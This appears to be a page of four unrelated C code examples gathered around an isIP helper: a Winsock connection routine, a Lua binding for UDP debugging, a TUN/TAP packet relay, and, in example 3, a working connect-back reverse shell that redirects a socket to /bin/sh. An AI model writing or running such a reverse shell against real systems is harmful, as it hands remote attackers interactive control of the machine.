Пример #1
0
int _initfly (HWND hParent, const char* remotehostnameOrIP, int waitTime, bool isClient)
{  	// Pass a negative number for waitTime for non-blocking mode.
	int res;
	HOSTENT *hont;
	struct in_addr hostAddress;

	if (hThreadFly!=0L)		return FER_FLY_HANDLE_ALREADY_EXISTS;

	if (isIP(remotehostnameOrIP))
	{
		strcpy(RemoteAddress, remotehostnameOrIP);
		strcpy(RemoteHostname, "");
	}
	else
	{
		hont = gethostbyname(remotehostnameOrIP);
		if (hont==NULL) return FER_HOST_NAME_CANNOT_RESOLVE;
		hostAddress.S_un.S_addr = *(u_long*)(hont->h_addr_list[0]);
		strcpy(RemoteAddress, inet_ntoa(hostAddress));
		strcpy(RemoteHostname, remotehostnameOrIP);
	}

	if (stricmp(wsdat.szSystemStatus, "Running")) //If WSAStartup was called in PickRemotePC
		res = WSAStartup(MAKEWORD(2,0), &wsdat);
	applProcID = GetCurrentThreadId ();

	if ( ( hThreadFly = _beginthreadex(NULL, 0, Thread4Fly, (void*)isClient, 0, &flyProcID) )== 0 )
		return FER_CANNOT_CREATE_FLY_HANDLE;

	if (waitTime<0 && hParent !=NULL)
	{
		blockingMode = 0;
		hMom = hParent;
		return FER_OK;
	}
	else if (hParent==NULL && waitTime>=0)
	{
		blockingMode = 1;
		DuringOpenwaitTime=1;
		open_TimerID = SetTimer (NULL, 0, waitTime, (TIMERPROC)TimerProc);
		while (DuringOpenwaitTime)
		{
			if (connected)
				return FER_OK;
			Sleep(50);
		}
		return FER_TIME_OUT;
	}
	else 
		return FER_INVALID_PARAMETER;
}
Пример #2
0
static int Reg(lua_State * L) {
	if(lua_gettop(L) != 3) {
        luaL_error(L, "bad argument count to 'Reg' (3 expected, got %d)", lua_gettop(L));
        lua_settop(L, 0);
        lua_pushnil(L);
        return 1;
    }

    if(lua_type(L, 1) != LUA_TSTRING || lua_type(L, 2) != LUA_TNUMBER || lua_type(L, 3) != LUA_TBOOLEAN) {
        luaL_checktype(L, 1, LUA_TSTRING);
        luaL_checktype(L, 2, LUA_TNUMBER);
        luaL_checktype(L, 3, LUA_TBOOLEAN);

		lua_settop(L, 0);
		lua_pushnil(L);
        return 1;
    }

	Script * cur = ScriptManager->FindScript(L);
	if(cur == NULL || cur->bRegUDP == true) {
        lua_settop(L, 0);
		lua_pushnil(L);
        return 1;
    }

    size_t szLen;
    char * sIP = (char *)lua_tolstring(L, 1, &szLen);

    if(szLen < 7 || szLen > 15 || isIP(sIP) == false) {
		lua_settop(L, 0);
		lua_pushnil(L);
        return 1;
    }

    uint16_t usPort = (uint16_t)lua_tonumber(L, 2);

    bool bAllData = lua_toboolean(L, 3) == 0 ? false : true;

    if(UdpDebug->New(sIP, usPort, bAllData, cur->sName) == false) {
		lua_settop(L, 0);
		lua_pushnil(L);
        return 1;
    }

    cur->bRegUDP = true;

    lua_settop(L, 0);
    lua_pushboolean(L, 1);
    return 1;
}
Пример #3
0
int main(int argc, char** argv) {
    if(argc < 3) {
        usage((argv[0]));
    }
    struct sockaddr_in server;
    if(!isIP(argv[1])) {
        struct hostent *hptr;
        if((hptr = gethostbyname(argv[1])) == NULL) {
            printf(" gethostbyname error for host:%s\n", argv[1]);
            return 0;
        }
        char str[32];
        inet_ntop(hptr->h_addrtype, hptr->h_addr, str, sizeof(str));
        argv[1] = str;
        printf("ip address is: %s\n", argv[1]);
    }
    if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        printf("Couldn't make socket!\n");
        exit(-1);
    }
    server.sin_addr.s_addr = inet_addr(argv[1]);
    server.sin_family = AF_INET;
    server.sin_port = htons(atoi(argv[2]));
    if (connect(sock, (SA *)&server, sizeof(SA)) == -1) {
        printf("Could not connect to remote shell!\n");
        exit(-1);
    }
    if(send(sock, message, sizeof(message), 0) == -1) {
        printf("Could not send to remote shell!\n");
        exit(-1);
    }
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    execl(shell, "/bin/sh", (char*)0);
    close(sock);
    return 1;
}
Пример #4
0
int main(int argc, char *argv[]) {
#ifdef DEBUG
  signal(SIGSEGV,debug_backtrace);
#endif
  printf("begin!\n");
  int tap_fd, tap_fd1, option;
  int dummy = 0;
  int flags = IFF_TUN;
  char if_name0[IFNAMSIZ] = "tap0";
  char if_name1[IFNAMSIZ] = "tap1";
  int maxfd;
  uint16_t nread, nwrite, plength;
  char buffer[BUFSIZE];
  struct sockaddr_in local, remote;
  char remote_ip[16] = "";            /* dotted quad IP string */
  unsigned short int port = PORT;
  int sock_fd, net_fd, optval = 1;
  socklen_t remotelen;
  int cliserv = -1;    /* must be specified on cmd line */
  unsigned long int tap2net = 0, net2tap = 0;

  struct in_addr addr;
  struct host twohopneis[10];
  inet_aton(twohopnei_ip_addr,&addr);
  twohopneis[0].ip_addr = addr.s_addr;
  memcpy(twohopneis[0].mac_addr,gate_mac_addr, ETHER_ADDR_LEN); 

  struct host localhost;
  inet_aton(local_ip_addr,&addr);
  localhost.ip_addr = addr.s_addr;
  memcpy(localhost.mac_addr, local_mac_addr, ETHER_ADDR_LEN);

  progname = argv[0];
  
  /* Check command line options */
  while((option = getopt(argc, argv, "i:sc:p:uahd")) > 0) {
    switch(option) {
      case 'd':
	printf("Enter dummy mode\n");
        dummy = 1;
        break;
      case 'h':
        usage();
        break;
      case 'i':
        strncpy(if_name0,optarg, IFNAMSIZ-1);
        break;
      case 's':
        cliserv = SERVER;
        break;
      case 'c':
        cliserv = CLIENT;
        strncpy(remote_ip,optarg,15);
        break;
      case 'p':
        port = atoi(optarg);
        break;
      case 'u':
        flags = IFF_TUN;
        break;
      case 'a':
        flags = IFF_TAP;
        break;
      default:
        my_err("Unknown option %c\n", option);
        usage();
    }
  }

  argv += optind;
  argc -= optind;

  if(argc > 0) {
    my_err("Too many options!\n");
    usage();
  }

  if(*if_name0 == '\0') {
    my_err("Must specify interface name!\n");
    usage();
  } else if(cliserv < 0) {
    my_err("Must specify client or server mode!\n");
    usage();
  } else if((cliserv == CLIENT)&&(*remote_ip == '\0')) {
    my_err("Must specify server address!\n");
    usage();
  }
	printf("allocate tap device!\n");
  /* initialize tun/tap interface */
  if ( (tap_fd = tun_alloc(if_name0, flags | IFF_NO_PI)) < 0 ) {
    my_err("Error connecting to tun/tap interface %s!\n", if_name0);
    exit(1);
  }
  
   if ( (tap_fd1 = tun_alloc(if_name1, flags | IFF_NO_PI)) < 0 ) {
    my_err("Error connecting to tun1/tap1 interface %s!\n", if_name1);
    exit(1);
  }
  printf("allocate tap device success!\n");

  //do_debug("Successfully connected to interface %s\n", if_name0);
  
  /* use select() to handle two descriptors at once */
  maxfd = (tap_fd > tap_fd1)?tap_fd:tap_fd1;
  while(1) {
    int ret;
    fd_set rd_set;

    FD_ZERO(&rd_set);
    FD_SET(tap_fd, &rd_set); FD_SET(tap_fd1, &rd_set);
    ret = select(maxfd + 1, &rd_set, NULL, NULL, NULL);
    if (ret < 0 && errno == EINTR){
	  do_debug("ret error");
      continue;
    }

    if (ret < 0) {
      perror("select()");
      exit(1);
    }
    if(FD_ISSET(tap_fd, &rd_set)) {
      /* data from tun/tap: just read it and write it to the network */
      
      DEBUGMSG(2,"\n--Send a packet--\n");
      nread = cread(tap_fd, buffer, BUFSIZE);

      //append the trailer
      if(!dummy){
        if(isIP((unsigned char*)buffer) && isTCP((unsigned char*)buffer)){
          ++send_counter;
          if(send_counter >= UP_LIMIT){
            const int len = 14 + sizeof(struct ip) + 4;
	    unsigned char signal[14 + sizeof(struct ip) + 4] = {0};
	    ConstructSignal(signal, &(twohopneis[0]), &localhost);	
            DEBUGMSG(1,"Epoch end and send a signal\n");
            nwrite = write(tap_fd1, signal, len);
            send_counter = 0;
	  }
          int newLen = extendPacket(TCP, (unsigned char*)buffer);
          nread = newLen;
        }
      }

      //DEBUGMSG(2,"route a packet(len: %i) to tap1\n", nread);
      nwrite = write(tap_fd1, buffer, nread);
      //DEBUGMSG(2,"Written %d bytes to the network\n", nwrite);
    }
	
    if(FD_ISSET(tap_fd1, &rd_set)) {
      /* data from tun/tap: just read it and write it to the network */

      nread = cread(tap_fd1, buffer, BUFSIZE);

 
      /* write length + packet */
      plength = htons(nread);

        if(!dummy){
	    if(isEpochEnd((unsigned char*)buffer)){
		DEBUGMSG(1,"Receive a Epoch end signal\n");
		const int len = 14 + sizeof(struct ip) + 40;
	    unsigned char echobuffer [14 + sizeof(struct ip) + 4] = {0};
		ConstructSignal(echobuffer, (unsigned char*)buffer);	
		nwrite = write(tap_fd1, echobuffer, len);
	    continue;
	  }
	  if(isIP((unsigned char*)buffer) && isTCP((unsigned char*)buffer)){
       	    int newLen = 0;
            verifyPacket(TCP, (unsigned char*)buffer, &newLen);
            nread = newLen;
	  }
	  DEBUGMSG(2,"packet len: %i\n", nread);
       }
      nwrite = write(tap_fd, buffer, nread);
      
      do_debug("TAP2NET %lu: Written %d bytes to the network\n", tap2net, nwrite);
    }

    //if(FD_ISSET(net_fd, &rd_set)) {
	if(0) {
      /* data from the network: read it, and write it to the tun/tap interface. 
       * We need to read the length first, and then the packet */

      /* Read length */      
      nread = read_n(net_fd, (char *)&plength, sizeof(plength));
      if(nread == 0) {
        /* ctrl-c at the other end */
        break;
      }

      net2tap++;

      /* read packet */
      nread = read_n(net_fd, buffer, ntohs(plength));
      do_debug("NET2TAP %lu: Read %d bytes from the network\n", net2tap, nread);

      /* now buffer[] contains a full packet or frame, write it into the tun/tap interface */ 
      nwrite = cwrite(tap_fd, buffer, nread);
      do_debug("NET2TAP %lu: Written %d bytes to the tap interface\n", net2tap, nwrite);
    }
  }
  
  return(0);
}